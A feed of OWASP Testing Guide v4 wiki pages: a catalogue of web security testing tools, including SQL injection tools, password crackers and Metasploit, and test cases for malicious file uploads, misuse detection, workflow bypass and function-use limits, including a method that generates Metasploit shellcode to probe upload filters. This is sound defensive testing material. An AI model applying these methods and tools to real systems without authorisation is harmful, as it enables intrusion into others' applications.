OWASP - User contributions [en]

Appendix A: Testing Tools

2014-08-01T22:22:56Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

==Open Source Black Box Testing tools==

=== General Testing ===
* '''[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP ZAP]'''
**The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
**ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
* '''[[OWASP_WebScarab_Project|OWASP WebScarab]]'''
** WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is portable to many platforms. WebScarab has several modes of operation that are implemented by a number of plugins.
* '''[[OWASP_CAL9000_Project|OWASP CAL9000]]'''
** CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts.
** Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.
* '''[[:Category:OWASP Pantera Web Assessment Studio Project|OWASP Pantera Web Assessment Studio Project]]'''
** Pantera uses an improved version of SpikeProxy to provide a powerful web application analysis engine. The primary goal of Pantera is to combine automated capabilities with complete manual testing to get the best penetration testing results.
* '''[[:OWASP Mantra - Security Framework]]'''
**Mantra is a web application security testing framework built on top of a browser. It supports Windows, Linux(both 32 and 64 bit) and Macintosh. In addition, it can work with other software like ZAP using built in proxy management function which makes it much more convenient. Mantra is available in 9 languages: Arabic, Chinese - Simplified, Chinese - Traditional, English, French, Portuguese, Russian, Spanish and Turkish.
* '''SPIKE''' - http://www.immunitysec.com/resources-freesoftware.shtml
** SPIKE designed to analyze new network protocols for buffer overflows or similar weaknesses. It requires a strong knowledge of C to use and only available for the Linux platform.
* '''Burp Proxy''' - http://www.portswigger.net/Burp/
** Burp Proxy is an intercepting proxy server for security testing of web applications it allows Intercepting and modifying all HTTP(S) traffic passing in both directions, it can work with custom SSL certificates and non-proxy-aware clients.
* '''Odysseus Proxy''' - http://www.wastelands.gen.nz/odysseus/
** Odysseus is a proxy server, which acts as a man-in-the-middle during an HTTP session. A typical HTTP proxy will relay packets to and from a client browser and a web server. It will intercept an HTTP session's data in either direction.
* '''Webstretch Proxy''' - http://sourceforge.net/projects/webstretch
** Webstretch Proxy enable users to view and alter all aspects of communications with a web site via a proxy. It can also be used for debugging during development.
* '''WATOBO''' - http://sourceforge.net/apps/mediawiki/watobo/index.php?title=Main_Page
** WATOBO works like a local proxy, similar to Webscarab, ZAP or BurpSuite and it supports passive and active checks.
* '''Firefox LiveHTTPHeaders''' - https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
** View HTTP headers of a page and while browsing.
* '''Firefox Tamper Data''' - https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
** Use tamperdata to view and modify HTTP/HTTPS headers and post parameters
* '''Firefox Web Developer Tools''' - https://addons.mozilla.org/en-US/firefox/addon/web-developer/
** The Web Developer extension adds various web developer tools to the browser.
* '''DOM Inspector''' - https://developer.mozilla.org/en/docs/DOM_Inspector
** DOM Inspector is a developer tool used to inspect, browse, and edit the Document Object Model (DOM)
* '''Firefox Firebug''' - http://getfirebug.com/
** Firebug integrates with Firefox to edit, debug, and monitor CSS, HTML, and JavaScript.
* '''Grendel-Scan''' - http://securitytube-tools.net/index.php?title=Grendel_Scan
** Grendel-Scan is an automated security scanning of web applications and also supports manual penetration testing.
* '''OWASP SWFIntruder''' - http://www.mindedsecurity.com/swfintruder.html
** SWFIntruder (pronounced Swiff Intruder) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime.
* '''SWFScan''' - http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167
** Flash decompiler
* '''Wikto''' - http://www.sensepost.com/labs/tools/pentest/wikto
** Wikto features including fuzzy logic error code checking, a back-end miner, Google-assisted directory mining and real time HTTP request/response monitoring.
* '''w3af''' - http://w3af.org
** w3af is a Web Application Attack and Audit Framework. The project’s goal is finding and exploiting web application vulnerabilities.
* '''skipfish''' - http://code.google.com/p/skipfish/
** Skipfish is an active web application security reconnaissance tool.
* '''Web Developer toolbar''' - https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm
** The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Firefox.
* '''HTTP Request Maker''' - https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US
** Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests
* '''Cookie Editor''' - https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US
** Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies
* '''Cookie swap''' - https://chrome.google.com/webstore/detail/dffhipnliikkblkhpjapbecpmoilcama?hl=en-US
** Swap My Cookies is a session manager, it manages cookies, letting you login on any website with several different accounts.
* '''Firebug lite for Chrome"" - https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench
**Firebug Lite is not a substitute for Firebug, or Chrome Developer Tools. It is a tool to be used in conjunction with these tools. Firebug Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties
* '''Session Manager"" - https://chrome.google.com/webstore/detail/bbcnbpafconjjigibnhbfmmgdbbkcjfi
**With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the opened tabs and windows.
* '''Subgraph Vega''' - http://www.subgraph.com/products.html
**Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows.

=== Testing for specific vulnerabilities ===

==== Testing for DOM XSS ====
* DOMinator Pro - https://dominator.mindedsecurity.com

==== Testing AJAX ====
* '''[[:Category:OWASP Sprajax Project|OWASP Sprajax Project]]'''

==== Testing for SQL Injection ====
* '''[[:Category:OWASP_SQLiX_Project|OWASP SQLiX]]'''
* Sqlninja: a SQL Server Injection & Takeover Tool - http://sqlninja.sourceforge.net
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* Absinthe 1.1 (formerly SQLSqueal) - http://sourceforge.net/projects/absinthe/
* SQLInjector - Uses inference techniques to extract data and determine the backend database server. http://www.databasesecurity.com/sql-injector.htm
* Bsqlbf-v2: A perl script allows extraction of data from Blind SQL Injections - http://code.google.com/p/bsqlbf-v2/
* Pangolin: An automatic SQL injection penetration testing tool - http://www.darknet.org.uk/2009/05/pangolin-automatic-sql-injection-tool/
* Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper - http://www.ruizata.com/
* Multiple DBMS Sql Injection tool - SQL Power Injector - http://www.sqlpowerinjector.com/
* MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools - http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html

==== Testing Oracle ====
* TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html
* Toad for Oracle - http://www.quest.com/toad

==== Testing SSL ====
* Foundstone SSL Digger - http://www.mcafee.com/us/downloads/free-tools/ssldigger.aspx

==== Testing for Brute Force Password ====
* THC Hydra - http://www.thc.org/thc-hydra/
* John the Ripper - http://www.openwall.com/john/
* Brutus - http://www.hoobie.net/brutus/
* Medusa - http://www.foofus.net/~jmk/medusa/medusa.html
* Ncat - http://nmap.org/ncat/

==== Testing Buffer Overflow ====
* OllyDbg - http://www.ollydbg.de
** "A windows based debugger used for analyzing buffer overflow vulnerabilities"
* Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
** A fuzzer framework that can be used to explore vulnerabilities and perform length testing
* Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net
** A proactive binary checker
* Metasploit - http://www.metasploit.com/
** A rapid exploit development and Testing frame work

==== Fuzzer ====
* '''[[:Category:OWASP_WSFuzzer_Project|OWASP WSFuzzer]]'''
* Wfuzz - http://www.darknet.org.uk/2007/07/wfuzz-a-tool-for-bruteforcingfuzzing-web-applications/

==== Googling ====
* Stach & Liu's Google Hacking Diggity Project - http://www.stachliu.com/resources/tools/google-hacking-diggity-project/
* Foundstone Sitedigger (Google cached fault-finding) - http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx

==Commercial Black Box Testing tools==
* NGS Typhon III - http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-typhon-iii/
* NGSSQuirreL - http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-squirrel-vulnerability-scanners/
* IBM AppScan - http://www-01.ibm.com/software/awdtools/appscan/
* Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php
* Burp Intruder - http://www.portswigger.net/burp/intruder.html
* Acunetix Web Vulnerability Scanner - http://www.acunetix.com
* Sleuth - http://www.sandsprite.com
* NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php
* MaxPatrol Security Scanner - http://www.maxpatrol.com
* Ecyware GreenBlue Inspector - http://www.ecyware.com
* Parasoft SOAtest (more QA-type tool)- http://www.parasoft.com/jsp/products/soatest.jsp?itemId=101
* MatriXay - http://www.dbappsecurity.com/webscan.html
* N-Stalker Web Application Security Scanner - http://www.nstalker.com
* HP WebInspect - http://www.hpenterprisesecurity.com/products/hp-fortify-software-security-center/hp-webinspect
* SoapUI (Web Service security testing) - http://www.soapui.org/Security/getting-started.html
* Netsparker - http://www.mavitunasecurity.com/netsparker/
* SAINT - http://www.saintcorporation.com/
* QualysGuard WAS - http://www.qualys.com/enterprises/qualysguard/web-application-scanning/
* Retina Web - http://www.eeye.com/Products/Retina/Web-Security-Scanner.aspx
* Cenzic Hailstorm - http://www.cenzic.com/downloads/datasheets/Cenzic-datasheet-Hailstorm-Technology.pdf

==Source Code Analyzers==

===Open Source / Freeware===
* [[:Category:OWASP_Orizon_Project|Owasp Orizon]]
* '''[[:Category:OWASP_LAPSE_Project|OWASP LAPSE]]'''
* [[OWASP O2 Platform]]
* Google CodeSearchDiggity - http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/
* PMD - http://pmd.sourceforge.net/
* FlawFinder - http://www.dwheeler.com/flawfinder
* Microsoft’s [[FxCop]]
* Splint - http://splint.org
* Boon - http://www.cs.berkeley.edu/~daw/boon
* FindBugs - http://findbugs.sourceforge.net
* Find Security Bugs - http://h3xstream.github.io/find-sec-bugs/
* Oedipus - http://www.darknet.org.uk/2006/06/oedipus-open-source-web-application-security-analysis/
* W3af - http://w3af.sourceforge.net/
* phpcs-security-audit - https://github.com/Pheromone/phpcs-security-audit

===Commercial ===

* Armorize CodeSecure - http://www.armorize.com/index.php?link_id=codesecure
* Parasoft C/C++ test - http://www.parasoft.com/jsp/products/cpptest.jsp/index.htm
* Checkmarx CxSuite - http://www.checkmarx.com
* HP Fortify - http://www.hpenterprisesecurity.com/products/hp-fortify-software-security-center/hp-fortify-static-code-analyzer
* GrammaTech - http://www.grammatech.com
* ITS4 - http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html
* Appscan - http://www-01.ibm.com/software/rational/products/appscan/source/
* ParaSoft - http://www.parasoft.com
* Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de
* Veracode - http://www.veracode.com
* Armorize CodeSecure - http://www.armorize.com/codesecure/

==Acceptance Testing Tools==
Acceptance testing tools are used to validate the functionality of web applications. Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases. Most, if not all, can be adapted to perform security specific tests in addition to functional tests.

===Open Source Tools===

* WATIR - http://wtr.rubyforge.org
** A Ruby based web testing framework that provides an interface into Internet Explorer.
** Windows only.
* HtmlUnit - http://htmlunit.sourceforge.net
** A Java and JUnit based framework that uses the Apache HttpClient as the transport.
** Very robust and configurable and is used as the engine for a number of other testing tools.
* jWebUnit - http://jwebunit.sourceforge.net
** A Java based meta-framework that uses htmlunit or selenium as the testing engine.
* Canoo Webtest - http://webtest.canoo.com
** An XML based testing tool that provides a facade on top of htmlunit.
** No coding is necessary as the tests are completely specified in XML.
** There is the option of scripting some elements in Groovy if XML does not suffice.
** Very actively maintained.
* HttpUnit - http://httpunit.sourceforge.net
** One of the first web testing frameworks, suffers from using the native JDK provided HTTP transport, which can be a bit limiting for security testing.
* Watij - http://watij.com
** A Java implementation of WATIR.
** Windows only because it uses IE for its tests (Mozilla integration is in the works).
* Solex - http://solex.sourceforge.net
** An Eclipse plugin that provides a graphical tool to record HTTP sessions and make assertions based on the results.
* Selenium - http://seleniumhq.org/
** JavaScript based testing framework, cross-platform and provides a GUI for creating tests.
** Mature and popular tool, but the use of JavaScript could hamper certain security tests.

==Other Tools==

===Runtime Analysis===

* Rational PurifyPlus - http://www-01.ibm.com/software/awdtools/purify/
* Seeker by Quotium - http://www.quotium.com/prod/security.php

===Binary Analysis===

* BugScam IDC Package - http://sourceforge.net/projects/bugscam
* Veracode - http://www.veracode.com

===Requirements Management===

* Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro

===Site Mirroring===
* wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.html
* curl - http://curl.haxx.se
* Sam Spade - http://www.samspade.org
* Xenu's Link Sleuth - http://home.snafu.de/tilman/xenulink.html

Test Upload of Malicious Files (OTG-BUSLOGIC-009)

2014-08-01T21:28:08Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Many application’s business processes allow for the upload of data/information. We regularly check the validity and security of text but accepting files can introduce even more risk. To reduce the risk we may only accept certain file extensions, but attackers are able to encapsulate malicious code into inert file types. Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files.

Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.

Finally, "malicious" means different things to different systems, for example Malicious files that may exploit SQL server vulnerabilities may not be considered a "malicious" to a main frame flat file environment.

The application may allow the upload of malicious files that include exploits or shellcode without submitting them to malicious file scanning. Malicious files could be detected and stopped at various points of the application architecture such as: IPS/IDS, application server anti-virus software or anti-virus scanning by application as files are uploaded (perhaps offloading the scanning using SCAP).

== Example ==

Suppose a picture sharing application allows users to upload their .gif or .jpg graphic files to the web site. What if an attacker is able to upload a PHP shell, or exe file, or virus? The attacker may then upload the file that may be saved on the system and the virus may spread itself or through remote processes exes or shell code can be executed.

== How to Test==

Generic Testing Method

• Review the project documentation and use exploratory testing looking at the application/system to identify what constitutes and "malicious" file in your environment.

• Develop or acquire a known “malicious” file.

• Try to upload the malicious file to the application/system and verify that it is correctly rejected.

• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.

Specific Testing Method 1

• Using the Metasploit payload generation functionality generates a shellcode as a Windows executable using the Metasploit "msfpayload" command.

• Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.

Specific Testing Method 2

• Develop or create a file that should fail the application malware detection process. There are many available on the Internet such as ducklin.htm or ducklin-html.htm.

• Submit the executable via the application’s upload functionality and see if it is accepted or properly rejected.

Specific Testing Method 3

• Set up the intercepting proxy to capture the “valid” request for an accepted file.

• Send an “invalid” request through with a valid/acceptable file extension and see if the request is accepted or properly rejected.

== Related Test Cases ==

4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)

4.12.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)

== Tools ==

• Metasploit's payload generation functionality

• Intercepting proxy

== References ==

OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload

Why File Upload Forms are a Major Security Threat - http://www.acunetix.com/websitesecurity/upload-forms-threat/

File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload

Overview of Malicious File Upload Attacks - http://securitymecca.com/article/overview-of-malicious-file-upload-attacks/

Stop people uploading malicious PHP files via forms - http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms

How to Tell if a File is Malicious - http://www.techsupportalert.com/content/how-tell-if-file-malicious.htm

CWE-434: Unrestricted Upload of File with Dangerous Type - http://cwe.mitre.org/data/definitions/434.html

Implementing Secure File Upload - http://infosecauditor.wordpress.com/tag/malicious-file-upload/

Watchful File Upload - http://palizine.plynt.com/issues/2011Apr/file-upload/

Matasploit Generating Payloads - http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads

Project Shellcode – Shellcode Tutorial 9: Generating Shellcode Using Metasploit
http://www.projectshellcode.com/?q=node/29

Anti-Malware Test file - http://www.eicar.org/86-0-Intended-use.html

== Remediation ==

While safeguards such as black or white listing of file extensions, using “Content-Type” from the header, or using a file type recognizer may not always be protections against this type of vulnerability. Every application that accepts files from users must have a mechanism to verify that the uploaded file does not contain malicious code. Uploaded files should never be stored where the users or attackers can directly access them.

Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)

2014-08-01T21:26:51Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Many application’s business processes allow for the upload and manipulation of data that is submitted via files. But the business process must check the files and only allow certain “approved” file types. Deciding what files are "approved" is determined by the business logic and is application/system specific. The risk in that by allowing users to upload files, attackers may submit an unexpected file type that that could be executed and adversely impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or exploit the local vulnerabilities, just to name a few.

Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently “malicious” but may be detrimental to the saved data. For example if an application accepts Windows Excel files, if an similar database file is uploaded it may be read but data extracted my be moved to incorrect locations.

The application may be expecting only certain file types to be uploaded for processing, such as .CSV, .txt files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation). This may result in unexpected system or database results within the application/system or give attackers additional methods to exploit the application/system..

== Example ==

Suppose a picture sharing application allows users to upload a .gif or .jpg graphic file to the web site. What if an attacker is able to upload an html file with a <script> tag in it or php file? The system may move the file from a temporary location to the final location where the php code can now be executed against the application or system.

== How to Test ==

Generic Testing Method

• Review the project documentation and perform some exploratory testing looking for file types that should be "unsupported" by the application/system.

• Try to upload these “unsupported” files an verify that it are properly rejected.

• If multiple files can be uploaded at once, there must be tests in place to verify that each file is properly evaluated.

Specific Testing Method

• Study the applications logical requirements.

• Prepare a library of files that are “not approved” for upload that may contain files such as: jsp, exe, or html files containing script.

• In the application navigate to the file submission or upload mechanism.

• Submit the “not approved” file for upload and verify that they are properly prevented from uploading

== Related Test Cases ==

4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)

4.12.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)

== References ==

OWASP - Unrestricted File Upload - https://www.owasp.org/index.php/Unrestricted_File_Upload

File upload security best practices: Block a malicious file upload - http://www.computerweekly.com/answer/File-upload-security-best-practices-Block-a-malicious-file-upload

Stop people uploading malicious PHP files via forms - http://stackoverflow.com/questions/602539/stop-people-uploading-malicious-php-files-via-forms

CWE-434: Unrestricted Upload of File with Dangerous Type - http://cwe.mitre.org/data/definitions/434.html

Secure Programming Tips - Handling File Uploads - https://www.datasprings.com/resources/dnn-tutorials/artmid/535/articleid/65/secure-programming-tips-handling-file-uploads?AspxAutoDetectCookieSupport=1

== Remediation ==

Applications should be developed with mechanisms to only accept and manipulate “acceptable“ files that the rest of the application functionality is ready to handle and expecting. Some specific examples include: Black or White listing of file extensions, using “Content-Type” from the header, or using a file type recognizer, all to only allow specified file types into the system.

Test defenses against application mis-use (OTG-BUSLOGIC-007)

2014-08-01T21:25:12Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
The misuse and invalid use of of valid functionality can identify attacks attempting to enumerate the web application, identify weaknesses, and exploit vulnerabilities. Tests should be undertaken to determine whether there are application-layer defensive mechanisms in place to protect the application.

The lack of active defenses allows an attacker to hunt for vulnerabilities without any recourse. The application's owner will thus not know their application is under attack.

== Example ==

An authenticated user undertakes the following (unlikely) sequence of actions:
#Attempt to access a file ID their roles is not permitted to download
#Substitutes a single tick (') instead of the file ID number
#Alters a GET request to a POST
#Adds an extra parameter
#Duplicates a parameter name/value pair

The application is monitoring for misuse and responds after the 5th event with extremely high confidence the user is an attacker. For example the application:
*Disables critical functionality
*Enables additional authentication steps to the remaining functionality
*Adds time-delays into every request-response cycle
*Begins to record additional data about the user's interactions (e.g. sanitized HTTP request headers, bodies and response bodies)

If the application does not respond in any way and the attacker can continue to abuse functionality and submit clearly malicious content at the application, the application has failed this test case. In practice the discrete example actions in the example above are unlikely to occur like that. It is much more probable that a fuzzing tool is used to identify weaknesses in each parameter in turn. This is what a security tester will have undertaken too.

== How to Test ==

This test is unusual in that the result can be drawn from all the other tests performed against the web application. While performing all the other tests, take note of measures that might indicate the application has in-built self-defense:

* Changed responses
* Blocked requests
* Actions that log a user out or lock their account

These may only be localised. Common localized (per function) defenses are:

* Rejecting input containing certain characters
* Locking out an account temporarily after a number of authentication failures

Localized security controls are not sufficient. There are often no defenses against general mis-use such as:

* Forced browsing
* Bypassing presentation layer input validation
* Multiple access control errors
* Additional, duplicated or missing parameter names
* Multiple input validation or business logic verification failures with values that cannot be the result user mistakes or typos
* Structured data (e.g. JSPN, XML) of an invalid format is received
* Blatant cross-site scripting or SQL injection payloads are received
* Utilising the application faster than would be possible without automation tools
* Change in continental geo-location of a user
* Change of user agent
* Accessing a multi-stage business process in the wrong order
* Large number of, or high rate of use of, application-specific functionality (e.g. voucher code submission, failed credit card payments, file uploads, file downloads, log outs, etc).

These defenses work best in authenticated parts of the application, although rate of creation of new accounts or accessing content (e.g. to scrape information) can be of use in public areas.

Not all the above need to be monitored by the application, but there is a problem if none of them are. By testing the web application, doing the above type of actions, was any response taken against the tester? If not, the tester should report that the application appears to have no application-wide active defenses against misuse. Note it is sometimes possible that all responses to attack detection are silent to the user (e.g. logging changes, increased monitoring, alerts to administrators and and request proxying), so confidence in this finding cannot be guaranteed. In practice, very few applications (or related infrastructure such as a web application firewall) are detecting these types of misuse.

== Related Test Cases ==

All other test cases are relevant.

== Tools ==

The tester can use many of the tools used for the other test cases.

== References ==

* [https://buildsecurityin.us-cert.gov/swa/resilient.html Resilient Software], Software Assurance, US Department Homeland Security
* [http://csrc.nist.gov/publications/nistir/ir7864/nistir-7864.pdf IR 7684] Common Misuse Scoring System (CMSS), NIST
* [http://capec.mitre.org/ Common Attack Pattern Enumeration and Classification] (CAPEC), The Mitre Corporation
* [[OWASP_AppSensor_Project]]
* [[:File:Owasp-appensor-guide-v2.doc | AppSensor Guide v2]], OWASP
* Watson C, Coates M, Melton J and Groves G, [http://www.crosstalkonline.org/storage/issue-archives/2011/201109/201109-Watson.pdf Creating Attack-Aware Software Applications with Real-Time Defenses], CrossTalk The Journal of Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011

== Remediation ==

Build inactive defenses against application misuse.

Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)

2014-08-01T21:23:30Z

Jane O'Connor: Added Andrew's changes.

== Summary ==

Workflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application/system in a way that will allow them to circumvent (not follow) the designed/intended workflow.

“A workflow consists of a sequence of connected steps where each step follows without delay or gap and ends just before the subsequent step may begin. It is a depiction of a sequence of operations, declared as work of a person or group, an organization of staff, or one or more simple or complex mechanisms. Workflow may be seen as any abstraction of real work.” (https://en.wikipedia.org/wiki/Workflow)

The application’s business logic must require that the user complete specific steps in the correct/specific order and if the workflow is terminated without correctly completing, all actions and spawned actions are “rolled back” or canceled. Vulnerabilities related to the circumvention of workflows or bypassing the correct business logic workflow are unique in that they are very application/system specific and careful manual misuse cases must be developed using requirements and use cases.

The applications business process must have checks to ensure that the user's transactions/actions are proceeding in the correct/acceptable order and if a transaction triggers some sort of action, that action will be “rolled back” and removed if the transaction is not successfully completed.

== Examples ==

Example 1

Many of us receive so type of “club/loyalty points” for purchases from grocery stores and gas stations. Suppose a user was able to start a transaction linked to their account and then after points have been added to their club/loyalty account cancel out of the transaction or remove items from their “basket” and tender. In this case the system either should not apply points/credits to the account until it is tendered or points/credits should be “rolled back” if the point/credit increment does not match the final tender. With this in mind, an attacker may start transactions and cancel them to build their point levels without actually buy anything.

Example 2

An electronic bulletin board system may be designed to ensure that initial posts do not contain profanity based on a list that the post is compared against. If a word on a "black" the list is found in the user entered text the submission is not posted. But, once a submission is posted the submitter can access, edit, and change the submission contents to include words included on the profanity/black list since on edit the posting is never compared again. Keeping this in mind, attackers may open an initial blank or minimal discussion then add in whatever they like as an update.

== How to Test ==

Generic Testing Method

• Review the project documentation and use exploratory testing looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow.

• For each method develop a misuse case and try to circumvent or perform an action that is "not acceptable" per the the business logic workflow.

Testing Method 1

• Start a transaction going through the application past the points that triggers credits/points to the users account.

• Cancel out of the transaction or reduce the final tender so that the point values should be decreased and check the points/ credit system to ensure that the proper points/credits were recorded.

Testing Method 2

• On a content management or bulletin board system enter and save valid initial text or values.

• Then try to append, edit and remove data that would leave the existing data in an invalid state or with invalid values to ensure that the user is not allowed to save the incorrect information. Some "invalid" data or information may be specific words (profanity) or specific topics (such as political issues).

== Related Test Cases ==

4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)

4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)

4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)

4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)

4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)

4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)

4.12.4 Test for Process Timing (OTG-BUSLOGIC-004)

4.12.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)

4.12.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)

4.12.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)

4.12.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)

== References ==

OWASP Detail Misuse Cases - https://www.owasp.org/index.php/Detail_misuse_cases

Real-Life Example of a 'Business Logic Defect - http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581

Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application
Assets and Flaws – Vulnerability Detection to Fix - http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/ and http://www.ntobjectives.com/files/Business_Logic_White_Paper.pdf

CWE-840: Business Logic Errors - http://cwe.mitre.org/data/definitions/840.html

== Remediation ==

The application must be self-aware and have checks in place ensuring that the users complete each step in the work flow process in the correct order and prevent attackers from circumventing/skipping/or repeating any steps/processes in the workflow. Test for workflow vulnerabilities involves developing business logic abuse/misuse cases with the goal of successfully completing the business process while not completing the correct steps in the correct order.

Test number of times a function can be used limits (OTG-BUSLOGIC-005)

2014-08-01T21:22:03Z

Jane O'Connor: Added Andrew's changes.

== Summary ==

Many of the problems that applications are solving require limits to the number of times a function can be used or action can be executed. Applications must be “smart enough” to not allow the user to exceed their limit on the use of these functions since in many cases each time the function is used the user may gain some type of benefit that must be accounted for to properly compensate the owner. For example: an eCommerce site may only allow a users apply a discount once per transaction, or some applications may be on a subscription plan and only allow users to download three complete documents monthly.

Vulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to exercise parts of the application/functions/ or actions more than the allowable number of times.

Attackers may be able to circumvent the business logic and execute a function more times than “allowable” exploiting the application for personal gain.

== Example ==

Suppose an eCommerce site allows users to take advantage of any one of many discounts on their total purchase and then proceed to checkout and tendering. What happens of the attacker navigates back to the discounts page after taking and applying the one “allowable” discount? Can they take advantage of another discount? Can they take advantage of the same discount multiple times?

==How to Test ==

• Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow.

• For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. For example, can a user navigate back and forth through the pages multiple times executing a function that should only execute once? or can a user load and unload shopping carts allowing for additional discounts.

== Related Test Cases ==

4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)

4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)

4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)

4.13.4 Test excessive rate (speed) of use limits (OTG-DOS-004)

4.13.5 Test size of request limits (OTG-DOS-005)

== References ==

InfoPath Forms Services business logic exceeded the maximum limit of operations Rule - http://mpwiki.viacode.com/default.aspx?g=posts&t=115678

Gold Trading Was Temporarily Halted On The CME This Morning -
http://www.businessinsider.com/gold-halted-on-cme-for-stop-logic-event-2013-10

== Remediation ==

The application should have checks to ensure that the business logic is being followed and that if a function/action can only be executed a certain number of times, when the limit is reached the user can no longer execute the function. To prevent users from using a function over the appropriate number of times the application may use mechanisms such as cookies to keep count or through sessions not allowing users to access to execute the function additional times.

Test for Process Timing (OTG-BUSLOGIC-004)

2014-08-01T21:20:50Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

It is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give a respond. Additionally, attackers may be able to manipulate and break designed business process flows by simply keeping active sessions open and not submitting their transactions in the "expected" time frame.

